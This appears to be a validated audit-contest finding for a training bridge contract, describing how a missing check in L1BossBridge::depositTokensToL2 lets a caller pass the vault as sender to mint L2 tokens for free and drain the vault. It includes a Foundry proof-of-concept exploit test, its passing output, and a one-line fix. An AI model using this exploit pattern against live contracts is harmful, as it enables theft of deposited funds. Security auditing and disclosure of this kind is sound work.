Beginner FriendlyFoundryBridge
100 EXP
View results
Submission Details
Severity: high
Valid

Missing input param validation in `L1BossBridge::depositTokensToL2` allows user to mint tokens in L2 for free

Summary

Missing from param validation in L1BossBridge::depositTokensToL2 function allows any user to mint tokens in L2 for free if from == address(vault).

Vulnerability Details

L1BossBridge::depositTokensToL2 does not validate if from == address(vault). In this edge case, a user can pass l2Recipient with an address he controls, the token.safeTransferFrom(from, address(vault), amount) will not revert, and the Deposit event will be emitted, minting tokens in L2 for free . The function safeTransferFrom does not revert because L1BossBridge constructor calls L1Vault::approveTo and the bridge is given unlimited allowance to access funds on the vault. In this edge case, safeTransferFrom will transfer funds from vault to vault will be allowed, and no real deposits are made.

Additionally, these minted tokens can be transferred back to L1, draining all funds from the protocol.

Proof of Concept

function testHackerCanDepositTokensInL2ForFree() public {
// User makes a deposit
vm.startPrank(user);
uint256 amount = 10e18;
token.approve(address(tokenBridge), amount);
vm.expectEmit(address(tokenBridge));
emit Deposit(user, userInL2, amount);
tokenBridge.depositTokensToL2(user, userInL2, amount);
// Hacker makes a deposit passing from as the vault address
// If amount > balance of vault, it will revert
vm.startPrank(hacker);
uint hackerAmount = token.balanceOf(address(vault));
// Ensure hacker does not own any tokens
assertEq(token.balanceOf(hacker), 0);
// Cant deposit more than the vault balance
vm.expectRevert(abi.encodeWithSelector(IERC20Errors.ERC20InsufficientBalance.selector, address(vault), hackerAmount, hackerAmount+1));
tokenBridge.depositTokensToL2(address(vault), hacker, hackerAmount + 1);
// Exploit
vm.expectEmit(address(tokenBridge));
emit Deposit(address(vault), hacker, amount);
tokenBridge.depositTokensToL2(address(vault), hacker, hackerAmount);
vm.stopPrank();
// Hacker can then call `withdrawTokensToL1` and drain the vault
}

Output when running PoC

forge test --mt testHackerCanDepositTokensInL2ForFree -vvv
[⠒] Compiling...
[⠑] Compiling 1 files with 0.8.20
[⠃] Solc 0.8.20 finished in 1.58s
Compiler run successful!
Running 1 test for test/L1TokenBridge.t.sol:L1BossBridgeTest
[PASS] testHackerCanDepositTokensInL2ForFree() (gas: 104719)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.56ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

Critical. This vulnerability allows any malicious user to mint tokens in L2, up to the current deposited balance of L1Vault contract, breaking the main functionality of the bridge. Besides, any tokens minted on L2 can be transferred to L1, draining L1Vault contract.

Tools Used

  • Manual Review

  • Foundry

Recommendations

Add a validation to the from address, ensuring its not the equal to the vault address.

function depositTokensToL2(address from, address l2Recipient, uint256 amount) external whenNotPaused {
+ require(from != address(vault), "L1BossBridge: invalid from address");
if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
revert L1BossBridge__DepositLimitReached();
}
token.safeTransferFrom(from, address(vault), amount);
// Our off-chain service picks up this event and mints the corresponding tokens on L2
emit Deposit(from, l2Recipient, amount);
}
Updates

Lead Judging Commences

0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

depositTokensToL2(): abitrary from address

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.